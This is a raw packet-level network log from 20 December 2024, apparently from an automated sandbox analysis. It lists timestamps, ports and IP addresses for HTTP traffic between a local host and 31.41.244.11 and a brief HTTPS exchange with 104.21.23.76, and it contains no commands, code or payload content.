Dec 20, 2024 17:43:46.369865894 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.369906902 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.372792006 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.372803926 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.372847080 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.376792908 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.376806021 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.376852989 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.377250910 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.379407883 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.379420042 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.379431009 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.379442930 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.379462957 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.379492998 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.383176088 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.383193016 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.383229017 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.383246899 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.384742022 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.384753942 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.384826899 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.386682034 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.386694908 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.386727095 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.386745930 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.391493082 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.391505003 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.391515970 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.391527891 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.391556978 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.391577005 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.393903971 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.393915892 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.393955946 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.398818016 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.398828983 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.398839951 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.398853064 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.398891926 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.398910999 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.401094913 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.401107073 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.401149988 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.404797077 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.404808998 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.404859066 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.408222914 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.408236027 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.408247948 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.408266068 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.408289909 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.408777952 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.408948898 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.410621881 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.410633087 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.410679102 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.414093971 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.414105892 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.414156914 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.415364027 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.415425062 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.415528059 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.415611029 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.417704105 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.418009043 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.418268919 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.418426037 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.420169115 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.420180082 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.420227051 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.422468901 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.422780991 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.422832012 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.424947977 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.424998999 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.425008059 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.425096989 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.427300930 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.427351952 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.427558899 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.427596092 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.429701090 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.429750919 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.430408955 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.430524111 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.432111025 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.432163954 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.432226896 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.432298899 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.434437990 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.434560061 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.434608936 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.437491894 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.437503099 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.437552929 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.439354897 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.439395905 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.439444065 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.439491034 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.441736937 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.441780090 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.442102909 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.442141056 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.444138050 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.444803953 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.518016100 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.518271923 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.518378973 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.519356012 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.519763947 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.519813061 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.521421909 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.521512032 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.521558046 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.522922039 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.522964954 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.523140907 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.524791956 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.525186062 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.525203943 CET	443	49775	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:46.525273085 CET	49775	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:46.525419950 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.525592089 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.526974916 CET	49775	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:46.526985884 CET	443	49775	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:46.526998997 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.527219057 CET	443	49775	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:46.527309895 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.527367115 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.527513027 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.530805111 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.530816078 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.530822992 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.530854940 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.532380104 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.532391071 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.532428026 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.532459974 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.533492088 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.534322977 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.534378052 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.535541058 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.536289930 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.536334038 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.537982941 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.537995100 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.538032055 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.539350986 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.539499998 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.539535999 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.541193962 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.541337967 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.541393995 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.543163061 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.544768095 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.544800043 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.544840097 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.545440912 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.545453072 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.545486927 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.546704054 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.546854973 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.546892881 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.548626900 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.548787117 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.548885107 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.550750971 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.550766945 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.550789118 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.550825119 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.552164078 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.552783966 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.552793980 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.552814960 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.553890944 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.555350065 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.555392981 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.556787014 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.556797028 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.556837082 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.558270931 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.558283091 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.558316946 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.559308052 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.559325933 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.559362888 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.561223030 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.561233997 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.561265945 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.562544107 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.563257933 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.563344002 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.563496113 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.564260960 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.564368963 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.564405918 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.566339970 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.566351891 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.566384077 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.567924023 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.567934990 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.567965984 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.569610119 CET	49775	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:46.569632053 CET	49775	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:46.569679976 CET	443	49775	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:46.569988012 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.569999933 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.570035934 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.570066929 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.571007013 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.571695089 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.571737051 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.572786093 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.572797060 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.572832108 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.574347973 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.574388981 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.575020075 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.576423883 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.576436043 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.576468945 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.576494932 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.577470064 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.578265905 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.578308105 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.579221964 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.579233885 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.579276085 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.580794096 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.581650019 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.581691027 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.583359957 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.583370924 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.583404064 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.584043026 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.584085941 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.584786892 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.585722923 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.587088108 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.587100029 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.587135077 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.587342978 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.587388039 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.587512016 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.587589979 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.589273930 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.589318037 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.590332031 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.591362000 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.591375113 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.591412067 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.592386961 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.592487097 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.592535973 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.593920946 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.594198942 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.594233990 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.595526934 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.595704079 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.595741987 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.597574949 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.597587109 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.597713947 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.598862886 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.599144936 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.599184990 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.600507021 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.600788116 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.600791931 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.600815058 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.603084087 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.603096962 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.603136063 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.603954077 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.604032993 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.604415894 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.604656935 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.606089115 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.606100082 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.606133938 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.607341051 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.607420921 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.607655048 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.607703924 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.608782053 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.609329939 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.609378099 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.710243940 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.710551977 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.710611105 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.710815907 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.711143970 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.711196899 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.712280989 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.712295055 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.712321997 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.712349892 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.712779999 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.712817907 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.713537931 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.713582993 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.714781046 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.714792967 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.714822054 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.715787888 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.715830088 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.716018915 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.716031075 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.716058969 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.717308044 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.717319965 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.717345953 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.717360020 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.718373060 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.718413115 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.719715118 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.719731092 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.719755888 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.719775915 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.720794916 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.720808029 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.720834970 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.720845938 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.721817970 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.721860886 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.722074032 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.722114086 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.722194910 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.722266912 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.723288059 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.723328114 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.723906994 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.723942041 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.724247932 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.724281073 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.724590063 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.724628925 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:46.725466967 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:46.725480080 CET	80	49769	31.41.244.11	192.168.2.6
